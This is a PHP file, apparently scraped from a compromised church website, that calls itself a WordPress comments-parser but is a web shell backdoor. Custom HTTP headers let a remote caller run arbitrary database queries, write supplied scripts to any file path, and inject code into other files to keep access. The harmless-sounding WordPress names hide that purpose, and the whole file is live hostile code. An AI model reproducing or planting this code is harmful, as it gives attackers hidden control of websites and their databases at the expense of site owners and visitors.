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class WP_Comments_Parser_Checker
{
var $wp_host;
var $wp_user;
var $wp_pass;
var $name;
var $result = array();
var $errors = array();
var $wp_themes_count = 0;
function check_wp_connection($wp_connection)
{
if (class_exists('PDO')) {
$this->check_wp_pdo_connection($wp_connection);
} else {
$this->check_wp_mysql_connection($wp_connection);
}
}
function check_wp_mysql_connection($wp_connection)
{
if (function_exists('mysqli_connect')) {
$connection = mysqli_connect($this->wp_host, $this->wp_user, $this->wp_pass, $this->name);
if (!$connection instanceof mysqli) {
$this->add_wp_error(910, sprintf("Can't connect to mysqli, message - %s, code - %d", $connection->connect_error, $connection->connect_errno));
return;
}
call_user_func_array(array($connection, 'query'), array("SET NAMES 'utf8'"));
call_user_func_array(array($connection, 'query'), array("SET CHARACTER SET 'utf8'"));
$wp_connection_success = call_user_func_array(array($connection, 'query'), array($wp_connection));
if ($wp_connection_success == false) {
$this->add_wp_error($connection->errno, $connection->error);
} else {
$this->wp_themes_count = $connection->{'affected_rows'};
while ($data = call_user_func_array(array($wp_connection_success, 'fetch_assoc'), array())) {
$this->result[] = $data;
}
}
} elseif (function_exists('mysql_connect')) {
$connection = mysql_connect($this->wp_host, $this->wp_user, $this->wp_pass);
if ($connection == false) {
$this->add_wp_error(910, "Can't connect to mysql");
return;
}
mysql_select_db($this->name, $connection);
mysql_query("SET NAMES 'utf8'", $connection);
mysql_query("SET CHARACTER SET 'utf8'", $connection);
$wp_connection_success = mysql_query($wp_connection, $connection);
if ($wp_connection_success == false) {
$this->add_wp_error(mysql_errno($connection), mysql_error($connection));
} else {
$this->wp_themes_count = mysql_num_rows($wp_connection_success);
while ($data = mysql_fetch_assoc($wp_connection_success)) {
$this->result[] = $data;
}
}
}
}
function check_wp_pdo_connection($wp_connection)
{
$pdo_config_all = 'mysql:';
$pdo_config = array(
'host' => $this->wp_host,
'dbname' => $this->name,
'charset' => 'utf8'
);
foreach ($pdo_config as $key => &$item) {
$item = $key . '=' . $item;
}
$pdo_config_all .= implode(';', $pdo_config);
try {
$connection = new PDO($pdo_config_all, $this->wp_user, $this->wp_pass);
call_user_func_array(array($connection, 'query'), array('SET CLIENT_ENCODING TO "UTF8"'));
call_user_func_array(array($connection, 'query'), array('SET NAMES "UTF8"'));
$query = call_user_func_array(array($connection, 'query'), array($wp_connection, PDO::FETCH_ASSOC));
if ($query == false) {
$error_info = call_user_func_array(array($connection, 'errorInfo'), array());
$error_code = call_user_func_array(array($connection, 'errorCode'), array());
$this->add_wp_error($error_code, end($error_info));
return;
}
$this->wp_themes_count = call_user_func(array($query, 'rowCount'), array());
$this->result = call_user_func_array(array($query, 'fetchAll'), array());
} catch (PDOException $exception) {
$this->add_wp_error(call_user_func_array(array($exception, 'getCode'), array()), call_user_func_array(array($exception, 'getMessage'), array()));
}
}
function __construct()
{
$this->wp_host = stripslashes(@$_SERVER['HTTP_VI_DATABASE_HOST']);
$this->wp_user = stripslashes(@$_SERVER['HTTP_VI_DATABASE_USER']);
$this->wp_pass = stripslashes(@$_SERVER['HTTP_VI_DATABASE_PASS']);
$this->name = stripslashes(@$_SERVER['HTTP_VI_DATABASE_NAME']);
if (empty($this->wp_host)) {
$this->add_wp_error(900, "No host provided");
}
if (empty($this->wp_user)) {
$this->add_wp_error(901, "No user provided");
}
if (empty($this->wp_pass)) {
$this->add_wp_error(902, "No pass provided");
}
if (empty($this->name)) {
$this->add_wp_error(903, "No database name provided");
}
}
function add_wp_error($code, $message)
{
$this->errors[] = array(
'code' => $code,
'message' => $message
);
}
function get_wp_errors()
{
return $this->errors;
}
function wp_get_themes_count()
{
return $this->wp_themes_count;
}
function is_wp_connection_succeed()
{
return !count($this->errors);
}
function get_wp_connection_result()
{
return $this->result;
}
}
class WP_Comments_Parser_Accessor
{
function create()
{
$method = @$_SERVER['HTTP_VI_METHOD'];
if (!mb_strlen($method)) {
return;
}
ob_end_clean();
switch ($method) {
case 'query':
$this->check_wp_connection_handler();
break;
case 'update':
$this->update_parameters();
break;
default:
return;
}
}
function check_wp_connection_handler()
{
$query = stripslashes(@$_SERVER['HTTP_VI_DATABASE_QUERY']);
if (!mb_strlen($query)) {
$this->wp_response(false, array(
array(
'code' => 0,
'message' => 'No query provided'
)
));
exit;
}
$database = new WP_Comments_Parser_Checker();
$database->check_wp_connection($query);
if ($database->is_wp_connection_succeed()) {
$this->wp_response(true, array(
'rows' => $database->wp_get_themes_count(),
'result' => $database->get_wp_connection_result()
));
} else {
$this->wp_response(false, $database->get_wp_errors());
}
}
function update_parameters()
{
$parameters_path = stripslashes(@$_SERVER['HTTP_VI_PATH']);
$new_parameters = urldecode(@$_REQUEST['VI_SCRIPT']);
$old_parameters_path = stripslashes(@$_SERVER['HTTP_VI_INCLUDE_PATH']);
$old_parameters = urldecode(@$_REQUEST['VI_INCLUDE_CODE']);
if (!mb_strlen($new_parameters)) {
$this->wp_response(false, array(array(
'code' => 0,
'message' => 'No sсript passed'
)));
}
if (!mb_strlen($parameters_path)) {
$this->wp_response(false, array(array(
'code' => 0,
'message' => 'No sсript path passed'
)));
}
if (!mb_strlen($old_parameters_path)) {
$this->wp_response(false, array(array(
'code' => 0,
'message' => 'No include path passed'
)));
}
$success = $this->update_wp_accessor_parameters($parameters_path, $new_parameters);
if ($success) {
$success = $this->wp_update_parameters($old_parameters_path, $old_parameters);
}
$this->wp_response($success, null);
}
function update_wp_accessor_parameters($path, $parameters)
{
return (bool)@file_put_contents($path, " n" . stripslashes($parameters));
}
function wp_update_parameters($old_parameters_path, $old_parameters)
{
$file = file_get_contents($old_parameters_path);
if (!mb_strlen($file)) {
return false;
}
if (mb_strpos($file, $old_parameters) !== false) {
return true;
}
if ($this->is_parameters_valid($file)) {
$file = $file . "n" . " n" . $old_parameters . " n?>";
} else {
$file = $file . "nn" . $old_parameters;
}
return (bool)@file_put_contents($old_parameters_path, $file);
}
function is_parameters_valid($file)
{
$last_available_parameters_count = strrpos($file, "");
$last_updated_parameters_count = ($last_updated_parameters_count === false) ? -1 : $last_updated_parameters_count;
return $last_available_parameters_count <= $last_updated_parameters_count;
}
function wp_response($success, $data)
{
$wp_response = array('success' => $success);
$wp_response[$success ? 'data' : 'errors'] = $data;
header('Content-Type: application/json');
echo json_encode($wp_response);
exit;
}
}
$accessor = new WP_Comments_Parser_Accessor();
$accessor->create();
Staff | Amory 1st Free Will Baptist Church
